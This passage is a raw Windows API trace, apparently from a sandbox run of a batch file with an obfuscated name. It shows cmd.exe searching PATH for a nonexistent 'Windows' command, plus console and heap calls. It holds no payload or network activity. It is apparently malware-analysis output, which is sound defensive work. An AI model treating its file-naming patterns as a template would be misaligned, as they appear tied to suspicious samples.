lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.882] GetLastError () returned 0x2 [0161.882] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.883] GetLastError () returned 0x2 [0161.883] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.883] GetLastError () returned 0x2 [0161.883] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.883] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.883] GetLastError () returned 0x2 [0161.883] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.883] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.883] GetLastError () returned 0x2 [0161.883] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.883] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.884] GetLastError () returned 0x2 [0161.884] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.884] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.884] GetLastError () returned 0x2 [0161.884] ??_V@YAXPEAX@Z () returned 0x1 [0161.884] _get_osfhandle (_FileHandle=2) returned 0x54 [0161.884] GetFileType (hFile=0x54) returned 0x2 [0161.884] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0161.884] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0161.885] _get_osfhandle (_FileHandle=2) returned 0x54 [0161.885] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0161.885] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0161.885] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0161.885] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0161.886] ??_V@YAXPEAX@Z () returned 0x1 [0161.886] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.886] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0161.887] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.887] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0161.887] _get_osfhandle (_FileHandle=0) returned 0x4c [0161.887] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0161.887] SetConsoleInputExeNameW () returned 0x1 [0161.887] GetConsoleOutputCP () returned 0x1b5 [0161.888] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0161.888] SetThreadUILanguage (LangId=0x0) returned 0x409 [0161.888] ??_V@YAXPEAX@Z () returned 0x1 [0161.889] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0161.889] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0161.889] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.889] SetFilePointer (in: hFile=0x94, lDistanceToMove=408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x198 [0161.889] GetProcessHeap () returned 0x20b0f920000 [0161.889] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e460) returned 1 [0161.889] GetProcessHeap () returned 0x20b0f920000 [0161.889] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0161.889] GetProcessHeap () returned 0x20b0f920000 [0161.889] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0161.889] GetProcessHeap () returned 0x20b0f920000 [0161.889] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f80) returned 1 [0161.889] GetProcessHeap () returned 0x20b0f920000 [0161.889] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0161.889] GetProcessHeap () returned 0x20b0f920000 [0161.889] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.889] GetProcessHeap () returned 0x20b0f920000 [0161.889] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0161.889] GetProcessHeap () returned 0x20b0f920000 [0161.889] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0161.890] GetProcessHeap () returned 0x20b0f920000 [0161.890] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0161.890] GetProcessHeap () returned 0x20b0f920000 [0161.890] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f20) returned 1 [0161.891] GetProcessHeap () returned 0x20b0f920000 [0161.891] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0161.891] GetProcessHeap () returned 0x20b0f920000 [0161.891] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0161.891] GetProcessHeap () returned 0x20b0f920000 [0161.891] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0161.891] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.891] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x198 [0161.891] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x161d, lpOverlapped=0x0) returned 1 [0161.891] SetFilePointer (in: hFile=0x94, lDistanceToMove=499, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1f3 [0161.893] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 91 [0161.893] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.893] GetFileType (hFile=0x94) returned 0x1 [0161.893] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.893] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1f3 [0161.893] GetProcessHeap () returned 0x20b0f920000 [0161.893] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946660 [0161.893] GetProcessHeap () returned 0x20b0f920000 [0161.893] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.894] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0161.894] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0161.894] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0161.894] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0161.894] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0161.894] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0161.894] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0161.894] GetProcessHeap () returned 0x20b0f920000 [0161.894] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0161.894] GetProcessHeap () returned 0x20b0f920000 [0161.894] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0161.894] GetProcessHeap () returned 0x20b0f920000 [0161.894] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb4) returned 0x20b0f92cb10 [0161.894] _tell (_FileHandle=3) returned 499 [0161.895] _close (_FileHandle=3) returned 0 [0161.895] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0161.895] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.895] GetFileType (hFile=0x50) returned 0x2 [0161.895] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.895] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0161.895] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.895] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0161.896] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0161.896] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0161.896] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0161.896] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.896] GetFileType (hFile=0x50) returned 0x2 [0161.896] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.896] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0161.896] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.897] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0161.897] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.897] GetFileType (hFile=0x50) returned 0x2 [0161.897] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.897] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.897] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.897] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0161.898] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 82 [0161.898] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.898] GetFileType (hFile=0x50) returned 0x2 [0161.898] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.898] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0161.898] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.898] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x52) returned 1 [0161.899] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0161.899] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.899] GetFileType (hFile=0x50) returned 0x2 [0161.899] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.899] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.899] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.899] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0161.900] malloc (_Size=0xffce) returned 0x20b0fa60940 [0161.900] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0161.901] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0161.901] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0161.901] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0161.901] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0161.901] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0161.901] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0161.901] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0161.901] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0161.901] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0161.901] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0161.901] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.901] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.901] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.901] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.901] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.901] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.901] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.901] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.901] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.901] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.901] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.901] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.901] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.901] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.901] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.901] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.901] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.901] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.901] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.901] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.901] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.902] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.902] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.902] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.902] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.902] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.902] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.902] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.902] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.902] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.902] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.902] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.902] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0161.902] malloc (_Size=0xffce) returned 0x20b0fa70920 [0161.902] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0161.903] GetProcessHeap () returned 0x20b0f920000 [0161.903] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f956f20 [0161.905] SetErrorMode (uMode=0x0) returned 0x0 [0161.905] SetErrorMode (uMode=0x1) returned 0x0 [0161.905] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f956f30, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0161.905] SetErrorMode (uMode=0x0) returned 0x1 [0161.905] GetProcessHeap () returned 0x20b0f920000 [0161.905] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f956f20, Size=0x48) returned 0x20b0f956f20 [0161.905] GetProcessHeap () returned 0x20b0f920000 [0161.905] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956f20) returned 0x48 [0161.905] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.905] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.905] GetProcessHeap () returned 0x20b0f920000 [0161.905] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0161.905] GetProcessHeap () returned 0x20b0f920000 [0161.905] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0161.905] GetProcessHeap () returned 0x20b0f920000 [0161.906] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0161.906] GetProcessHeap () returned 0x20b0f920000 [0161.906] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0161.906] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.906] GetProcessHeap () returned 0x20b0f920000 [0161.906] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0161.906] GetProcessHeap () returned 0x20b0f920000 [0161.906] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0161.906] GetProcessHeap () returned 0x20b0f920000 [0161.906] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0161.906] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.906] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ceb0 [0161.906] FindClose (in: hFindFile=0x20b0f92ceb0 | out: hFindFile=0x20b0f92ceb0) returned 1 [0161.906] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.906] GetLastError () returned 0x2 [0161.907] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.907] GetLastError () returned 0x2 [0161.907] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.907] GetLastError () returned 0x2 [0161.908] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.908] GetLastError () returned 0x2 [0161.909] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.909] GetLastError () returned 0x2 [0161.909] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.909] GetLastError () returned 0x2 [0161.909] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.909] GetLastError () returned 0x2 [0161.909] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.909] GetLastError () returned 0x2 [0161.909] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.909] GetLastError () returned 0x2 [0161.909] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.910] GetLastError () returned 0x2 [0161.910] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.910] GetLastError () returned 0x2 [0161.910] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.910] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.910] GetLastError () returned 0x2 [0161.910] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.910] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cd90 [0161.910] FindClose (in: hFindFile=0x20b0f92cd90 | out: hFindFile=0x20b0f92cd90) returned 1 [0161.911] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.911] GetLastError () returned 0x2 [0161.911] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.911] GetLastError () returned 0x2 [0161.911] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.911] GetLastError () returned 0x2 [0161.911] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.911] GetLastError () returned 0x2 [0161.911] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.912] GetLastError () returned 0x2 [0161.912] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0161.912] GetLastError () returned 0x2 [0161.912] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: 